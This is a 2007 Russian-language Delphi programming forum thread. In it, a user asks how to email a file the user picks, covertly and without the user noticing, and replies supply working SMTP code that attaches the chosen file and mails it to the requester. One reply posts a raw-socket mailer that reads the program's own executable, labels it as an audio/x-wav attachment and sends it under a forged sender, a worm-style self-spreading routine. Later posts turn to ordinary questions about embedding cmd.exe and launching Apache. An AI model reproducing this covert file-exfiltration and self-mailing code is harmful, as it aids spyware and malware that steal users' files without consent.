 |
|

31.08.2007, 14:58
|
|
Участник форума
Регистрация: 10.08.2006
Сообщений: 147
С нами:
10395573
Репутация:
94
|
|
Сообщение от infernal-team
Как осуществить отправку файла выбранного в OpenDialog1 на e-mail скрыто от пользователя ? Очень надеюсь на вашу помощь.
как я понимаю есть программа, в ней используется OpenDialog, короче делай так:
в процедуре опенДеалога
If OpenDialog1.Execute then
begin
// тут пишишь то что должна делать программа по
//идее, т.е. то что должен видеть пользователь
// а тут вызываешь функцию или процедуру отправки //этого файла на мыло
end.
Сообщение от infernal-team
Я не вирь пишу, не нужно чтобы пользователь заметил отправку файла.
нихера не понял, так пользователь должен видеть что файл отправляется или нет, говори точнее что надо!?
Последний раз редактировалось begin end; 31.08.2007 в 21:51..
|
|
|

31.08.2007, 15:00
|
|
Познающий
Регистрация: 04.07.2007
Сообщений: 56
С нами:
9923122
Репутация:
8
|
|
Exile1985 так вот мне и нужна функция ли процедура отправки на мыло.
Пользователь должен выбрать файл в опендиалоге, ввести данные в edit нажать буттон, файл который он выбрал и данные введеные в едит должны мне прийти на мыло.
Последний раз редактировалось begin end; 31.08.2007 в 21:53..
|
|
|

31.08.2007, 15:34
|
|
Участник форума
Регистрация: 10.08.2006
Сообщений: 147
С нами:
10395573
Репутация:
94
|
|
Сообщение от infernal-team
Exile1985 так вот мне и нужна функция ли процедура отправки на мыло.
не знаю насколько рабочий код, по словам автора работает как часы, сам протестить не могу нету под рукой Delphi слепишь под себя как те надо:
Код:
type
TForm1 = class(TForm)
IdSMTP1: TIdSMTP;
IdPOP31: TIdPOP3;
var
Form1: TForm1;
M1: TidMessage;
...
begin
with Form1 do
begin
IdSMTP1.Connect;
M1:= TIdmessage.Create(IdSMTP1);
with M1 do
begin
Subject := 'Тема письма';
Recipients.EMailAddresses:= 'adres1@server';
From.Text:= '"имя" <adres@server>';
Body.Text:=Edit1.text; //текст который он введет в эдит
CharSet:= 'Windows-1251';
Encoding:= meMIME;
TIdAttachmentFile.Create(M1.MessageParts, OpenDialog1.FileName);//крепим файл
end;
IdPOP31.Connected; // почтовый сервер может попросить POP3 идентификацию перед отправкой почты, поэтому коннектимся ещё и по POP3
IdSMTP1.Send(M1);
IdSMTP1.Disconnect;
IdPOP31.Disconnect;
FreeAndNil(M1);
end;
end;
Последний раз редактировалось Exile1985; 31.08.2007 в 15:37..
|
|
|

31.08.2007, 15:39
|
|
Постоянный
Регистрация: 05.01.2007
Сообщений: 508
С нами:
10182506
Репутация:
1393
|
|
Долго думал, выкладвывать или нет , но вот она
С тебя ПЛЮСЕГ!
Код:
Procedure SendMail(Recip, FromM, Server: String);
Var
Sock : TSocket;
WsaDatas : TWSADATA;
SockAddrIn : TSockAddrIn;
F : FILE;
Body, Attach,
Sub, CTyp : String;
Linfo : Integer;
Procedure Mys(STR:STRING);
Begin
Send(Sock,STR[1],Length(STR),0);
End;
Begin
Body := m_bod;
Attach := m_att;
Sub := m_sub;
CTyp := 'audio/x-wav';
FromM := 'Jesus@Hotmail.Com';
WSAStartUp(257,WsaDatas);
Sock:=Socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
SockAddrIn.sin_family:=AF_INET;
SockAddrIn.sin_port:=htons(25);
SockAddrIn.sin_addr.S_addr:=inet_addr(PChar(Server));
If Connect(Sock,SockAddrIn,SizeOf(SockAddrIn)) <> SOCKET_ERROR Then Begin
Mys('HELO .com'+#13#10);
If Pos('<', Fromm)>0 Then
Mys('Mail From: '+Copy(FromM, Pos('<', FromM)+1, Pos('>', FromM)-2)+#13#10) Else
Mys('MAIL FROM: '+FromM+#13#10);
Mys('RCPT TO: '+recip+#13#10);
Mys('DATA'+#13#10);
Mys('From: '+FromM+#13#10);
Mys('Subject: '+Sub+#13#10);
Mys('To: '+Recip+#13#10);
Mys('MIME-Version: 1.0'+#13#10);
Mys('Content-Type: multipart/mixed; boundary="ShutFace"'+#13#10+#13#10);
Mys('--ShutFace'+#13#10);
Mys('Content-Type: text/plain; charset:us-ascii'+#13#10+#13#10);
Mys(Body+#13#10);
Mys(#13#10+#13#10);
Mys('--ShutFace'+#13#10);
Mys('Content-Type: '+CTyp+';'+#13#10);
Mys(' name="'+Attach+'"'+#13#10);
Mys('Content-Transfer-Encoding: base64'+#13#10+#13#10);
AssignFile(F,ParamStr(0));
FileMode:=0;
{$I-}
Reset(F,1);
IF IOResult=0 THEN BEGIN
BlockRead(F,FileBuf[1],FileSize(ParamStr(0)));
Mys(BASE64(FileSize(ParamStr(0))));
CloseFile(F);
END;
{$I+}
Mys(#13#10+'--ShutFace--'+#13#10+#13#10);
Mys(#13#10+'.'+#13#10);
Mys('QUIT'+#13#10);
End;
|
|
|

31.08.2007, 16:37
|
|
Познающий
Регистрация: 04.07.2007
Сообщений: 56
С нами:
9923122
Репутация:
8
|
|
z01b тут нету аторизации, это не рабочий код, выкинь его.
|
|
|

31.08.2007, 16:56
|
|
Участник форума
Регистрация: 10.08.2006
Сообщений: 147
С нами:
10395573
Репутация:
94
|
|
Сообщение от infernal-team
z01b тут нету аторизации, это не рабочий код, выкинь его.
Код:
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
IdMessageClient, IdSMTP, StdCtrls, idMessage, IdEMailAddress;
...
procedure TForm1.Button1Click(Sender: TObject);
var
M: TIdMessage;
begin
M := TIdMessage.Create(Form1);
with M do
begin
Body.Add('Типа первая строчка собщения');
From.Text := '"Рустик" <boris@uacity.com>'; //отправитель
Recipients.Add;
Recipients.Items[0].Text := '"Тест" <antohha@ukr.net>'; //Получатель
Subject := 'Тема письма'; //Тема письма
TIdAttachmentFile.Create(M.MessageParts, OpenDialog1.FileName);//крепим файл
end;
with IdSMTP1 do
begin
//авторизация
AuthenticationType := atLogin;
Host := 'uacity.com'; //хост
Username := 'boris'; // логин
Password := '1234'; // пасс
Connect();
end;
if IdSMTP1.Connected then
begin
IdSMTP1.Send(M);
end;
IdSMTP1.Disconnect;
end;
подавись 
|
|
|

31.08.2007, 17:04
|
|
Участник форума
Регистрация: 09.12.2006
Сообщений: 135
С нами:
10222145
Репутация:
726
|
|
Сообщение от Mkey
Xserg.... спасибо за примерчик.... я уже опробывал штук 10 подобных... во всех - косяки есть... то пробелы лишние то некоторые команды не проходят..... повторюсь...требуется именно привезать cmd.exe к форме....
Как-то так?
Код:
function SetConsoleDisplayMode(hOut:THandle;dwNewMode:DWORD;lpdwOldMode:pointer):BOOL;
stdcall; external 'kernel32.dll' name 'SetConsoleDisplayMode';
var
smdWND:dword=0;
I,DC:dword;
P : array [0..3] of TPoint;
pi: TProcessInformation;
si: TStartupInfo;
s:string;
procedure TForm1.FormCreate(Sender: TObject);
begin
AllocConsole();
ZeroMemory(@si, SizeOf(TStartupInfo));
si.cb := SizeOf(TStartupInfo);
CreateProcess(nil,PChar('cmd.exe'), // command line
nil,nil,TRUE,0,nil,nil,
si,pi);
setlength(S,256);
setlength(S,GetConsoleTitle(@S[1],256));
SetConsoleTitle('AA_BB_CC_DD');
smdWND:=FindWindow(0,'AA_BB_CC_DD');
SetConsoleTitle(PansiChar(S));
//Делаем не на полный экран
SetConsoleDisplayMode(GetStdHandle(STD_OUTPUT_HANDLE),0,@I);
P[0] := Point( 5,23);
P[1] := Point(500-15,23);
P[2] := Point(500-15,200-5);
P[3] := Point( 5,200-5);
//Вырезаем лишнее
SetWindowRgn(smdWND,CreatePolygonRgn(P,4,Alternate),true);
SetWindowPos(smdWND,HWND_TOPMOST,form1.left,form1.Top+200,700,200,SWP_SHOWWINDOW);
end;
procedure TForm1.FormConstrainedResize(Sender: TObject; var MinWidth,
MinHeight, MaxWidth, MaxHeight: Integer);
begin
if smdWND<>0 then
MoveWindow(smdWND,form1.left,form1.Top+200,700,200,true);
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
if smdWND<>0 then begin
Terminateprocess(pi.hProcess,0);
FreeConsole();smdWND:=0;
end;
end;
|
|
|

31.08.2007, 23:53
|
|
Постоянный
Регистрация: 05.01.2007
Сообщений: 508
С нами:
10182506
Репутация:
1393
|
|
Сообщение от infernal-team
z01b тут нету аторизации, это не рабочий код, выкинь его.
нефигасе, этот код, лучьшый что я видел в инете, глаза открой, там авторизация есть )
|
|
|

01.09.2007, 10:50
|
|
Постоянный
Регистрация: 11.03.2007
Сообщений: 581
С нами:
10088966
Репутация:
646
|
|
Блин, что же за напасть такая  . Не могу из-под делфни апачи запустить! Уже ипусь полчаса, перепробовал:
Код:
var
ApacheProcInfo: TProcessInformation;
ApacheStart: TStartupInfo;
...
CreateProcess(pchar('K:\prakt\apache\bin\Apache.exe'),nil,nil,nil,false,0,nil,nil,ApacheStart,ApacheProcInfo);
Код:
winexec('start K:\prakt\apache\bin\Apache.exe',sw_show);
Код:
winexec('K:\prakt\apache\bin\Apache.exe',sw_show);
Код:
ShellExecute(application.handle,nil,'K:\prakt\apache\bin\Apache.exe',nil,nil,sw_show);
Во всех случаях либо ничего не происходит, либо окно мелькает и все. Так работает:
Код:
@echo off
K:
cd \prakt\apache\bin
start Apache.exe
Что за фигня?
|
|
|

01.09.2007, 11:17
|
|
Участник форума
Регистрация: 09.12.2006
Сообщений: 135
С нами:
10222145
Репутация:
726
|
|
Сообщение от Joker-jar
Что за фигня?
Явно не хватает :
SetCurrentDir('K:\prakt\apache\bin\');
|
|
|
|
 |
|
Предыдущая тема
Следующая тема
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|